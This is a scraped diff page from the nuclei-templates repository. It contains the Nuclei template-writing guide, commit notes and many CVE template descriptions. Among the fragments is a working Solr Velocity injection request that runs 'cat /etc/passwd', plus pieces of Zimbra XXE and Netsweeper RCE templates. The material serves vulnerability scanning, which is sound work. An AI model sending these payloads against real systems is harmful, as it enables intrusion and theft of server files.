Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
to avoid running same scan multiple times, adding workflows to ignore file, all workflows can be run calling the template file instead of folder.
in case, you still want to run all templates as ones, consider removing ignore file.
This can be precisely checked only when Nginx version is known, otherwise it will produce false positives results, as such removing this template for the time being.
The old matching using status code 502 returned false positive when the endpoint is already having a bad gateway. Going through the report here
https://hackerone.com/reports/878779 and video https://www.youtube.com/watch?v=NWHOmYbLrZ0 , the path has been rewritten and matched with respective image/jpeg as explained in the poc
This is for testing against a Linux host as per https://www.exploit-db.com/exploits/48812. If someone else wants to update this to add the check for Windows, that would be swell.
Encode XSS payload to prevent false positives when the Query string is returned AS IS by the server. Recent browsers will always send the parameters encoded.
tech-detect does a better job with more cms than cms-detect, strings from cms-detect added for drupal. wordpress detection on tech-detect is ok. Fix#289
The vulnerability is that access restriction can be circumvented by adding a semicolon to the path (as pointed out in https://github.com/immunIT/CVE-2018-11759).
Without semicolon, jkstatus would be public anyway and would not be related to the CVE.
Came across a condition where this template wasn't matching because the application was sending "application/vnd.spring-boot.actuator.v2+json;charset=UTF-8" instead of "application/json" in content-type header of response.
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
Each template has a unique ID which is used during output writing to specify the template name for an output line.
The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
```yaml
# id contains the unique identifier for the template.
id:git-config
```
ID must not contain spaces. This is done to allow easier output parsing.
### Info
Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
Let's add an **info** block to our template as well.
```yaml
info:
# Name is the name of the template
name:Git Config File Detection Template
# Author is the name of the author for the template
author:Ice3man
# Severity is the severity for the template.
severity:medium
```
Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
### HTTP Requests
Requests start with a request block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
requests:
```
At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
```yaml
requests:
- raw:
- |
GET /path1/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a1/b1
- |
POST /path2/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a2/b2
This is the request Body
```
Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
```yaml
id:dummy-raw
info:
name:Example-Fuzzing
requests:
- payloads:
param_a:/home/user/wordlist_param_a.txt
param_b:/home/user/wordlist_param_b.txt
attack:clusterbomb# Available options: sniper, pitchfork and clusterbomb
raw:
# Request with simple param and header manipulation with DSL functions
- |
POST /?param_a={{param_a}}¶mb={{param_b}} HTTP/1.1
User-Agent: {{param_a}}
Host: {{Hostname}}
another_header: {{base64(param_b)}}
Accept: */*
This is the Body
# Request with body manipulation
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
This is the body {{sha256(param_a)}}
# Yet another one
- |
PUT / HTTP/1.1
Host: {{Hostname}}
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
matchers:
- type:word
words:
- "title"
- "body"
```
This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
#### Method
First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
```yaml
# Method is the method for the request
method:GET
```
#### Redirects
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
An example of the usage:
```yaml
requests:
- method:GET
path:
- "{{BaseURL}}/login.php
redirects:true
max-redirects:3
```
#### Path
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1.**BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
2.**Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
path:{{BaseURL}}/.git/config
# This path will be replaced on execution with BaseURL
# If BaseURL is set to https://abc.com then the
# path will get replaced to the following: https://abc.com/.git/config
```
Multiple paths can also be specified in one request which will be requested for the target.
#### Headers
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
```yaml
# headers contains the headers for the request
headers:
# Custom user-agent header
User-Agent:Some-Random-User-Agent
# Custom request origin
Origin:https://google.com
```
#### Body
Body specifies a body to be sent along with the request. For instance:
```yaml
# Body is a string sent along with the request
body:"{\"some random JSON\"}"
```
#### Matchers
Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
##### Types
Multiple matchers can be specified in a request. There are basically 6 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| status | Status Code of Response |
| size | Content Length of Response |
| word | Response body or headers |
| regex | Response body or headers |
| binary | Response body |
| dsl | All Response Parts |
To match status codes for responses, you can use the following syntax.
```yaml
matcher:
# Match the status codes
- type:status
# Some status codes we want to match
status:
- 200
- 302
```
To match binary for hexadecimal responses, you can use the following syntax.
```yaml
matchers:
- type:binary
binary:
- "504B0304"# zip archive
- "526172211A070100"# rar RAR archive version 5.0
- "FD377A585A0000"# xz tar.xz archive
condition:or
part:body
```
To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
```yaml
matchers:
- type:dsl
dsl:
- "len(body)<1024 && status_code==200"# Body length less than 1024 and 200 status code
- "contains(toupper(body), md5(cookie))"# Check if the MD5 sum of cookies is contained in the uppercase body
| contains | Verify if a string contains another one | contains("Hello", "lo") // Result: True |
| regex | Verify a regex versus a string | regex("H([a-z]+)o", "Hello") // Result: True |
##### Conditions
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
1.**AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
2.**OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
##### Matched Parts
Multiple parts of the response can also be matched for the request.
| Part | Matched Part |
| ------ | ------------------------------------ |
| body | Body of the response |
| header | Header of the response |
| all | Both body and header of the response |
Example matchers for response body using the AND condition:
```yaml
matcher:
# Match the body word
- type:word
# Some words we want to match
words:
- "[core]"
- "[config]"
# Both words must be found in the response body
condition:and
# We want to match request body (default)
part:body
```
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
##### Multiple Matchers
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
Here is an example of syntax for multiple matchers.
```yaml
matchers:
- type:word
name:php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part:header
- type:word
name:node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition:or
part:header
- type:word
name:python
words:
- "Python/2."
- "Python/3."
condition:or
part:header
```
##### Matchers Condition
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
```yaml
matchers-condition:and
matchers:
- type:word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition:or
part:header
- type:word
words:
- "PHP"
part:body
```
#### Extractors
Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
```yaml
# A list of extractors for text extraction
extractors:
# type of the extractor, only regex for now.
- type:regex
# part of the response to extract (can be headers, all too)
The final template file for the `.git/config` file mentioned above is as follows:
```yaml
id:git-config
info:
name:Git Config File
author:Ice3man
severity:medium
requests:
- method:GET
path:
- "{{BaseURL}}/.git/config"
matchers:
- type:word
words:
- "[core]"
```
### DNS Requests
Requests start with a dns block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
dns:
```
DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
#### Type
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
```yaml
# type is the type for the dns request
type:A
```
#### Name
The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1.**FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
name:{{FQDN}}.com
# This value will be replaced on execution with the FQDN.
# If FQDN is https://this.is.an.example then the
# name will get replaced to the following: this.is.an.example.com
```
As of now the tool supports only one question per request.
#### Class
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
```yaml
# method is the class for the dns request
class:inet
```
#### Recursion
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
```yaml
# Recursion is a boolean determining if the request is recursive
recursion:true
```
#### Retries
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
```yaml
# Retries is a number of retries before giving up on dns resolution
retries:3
```
#### Matchers
Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
##### Types
Multiple matchers can be specified in a request. There are basically 5 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| size | Response size |
| word | Response |
| regex | Response |
| binary | Response |
| dsl | Response |
## **Example DNS Template**
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
```yaml
id:dummy-cname-a
info:
name:Dummy A dns request
author:mzack9999
severity:none
dns:
- name:"{{FQDN}}"
type:A
class:inet
recursion:true
retries:3
matchers:
- type:word
words:
# The response must contains a CNAME record
- "IN\tCNAME"
# and also at least 1 A record
- "IN\tA"
condition:and
```
# Chained workflow
It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.
Chained workflow supports both HTTP and DNS request based templates.
Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application.
```yaml
id:workflow-example
info:
name:Jira-Pawner
author:mzack9999
variables:
# defining templates using variables.
# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
jira:panels/detect-jira.yaml
jira_cve_1:cves/CVE-2018-20824.yaml
jira_cve_2:cves/CVE-2019-3399.yaml
jira_cve_3:cves/CVE-2019-11581.yaml
jira_cve_4:cves/CVE-2017-18101.yaml
logic:
|
if jira() {
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
```
Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks.
```yaml
id:workflow-example
info:
name:Jira-Pawner
author:mzack9999
variables:
# defining templates using variables.
# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
# Nuclei Templates
Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
[](https://twitter.com/pdnuclei)
[](https://discord.gg/KECAGdH)
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
------
**Notes:**
@@ -8,3 +415,4 @@ Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-tem
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
Thanks again for your contribution and keeping the community vibrant. :heart:
description:In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
description:The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
description:Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
description:Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
description:A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
description:The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
description:Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
description:An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
description:process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
name:Cross Site Scripting in Oracle Secure Global Desktop Administration Console
author:madrobot
author:madrobot & dwisiswant0
severity:high
description:XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
description:The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
description:Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
name:Jira - Reflected XSS using searchOwnerUserName parameter.
author:pdteam
severity:medium
description:The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
description:"mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
author:ree4pwn
severity:critical
requests:
- raw:
- |
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
description:A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
description:Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
description:Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
# This template exploits a Python code injection in the Netsweeper
# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
# prior, to execute code as the root user.
# Authentication is bypassed by sending a random whitelisted Referer
# header in each request.
# Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
# Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
name:Sensitive data exposure via insecure Jira endpoint
author:x1m_martijn
severity:medium
description:Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
description:Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
Loaded 100 of 384 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
bauthard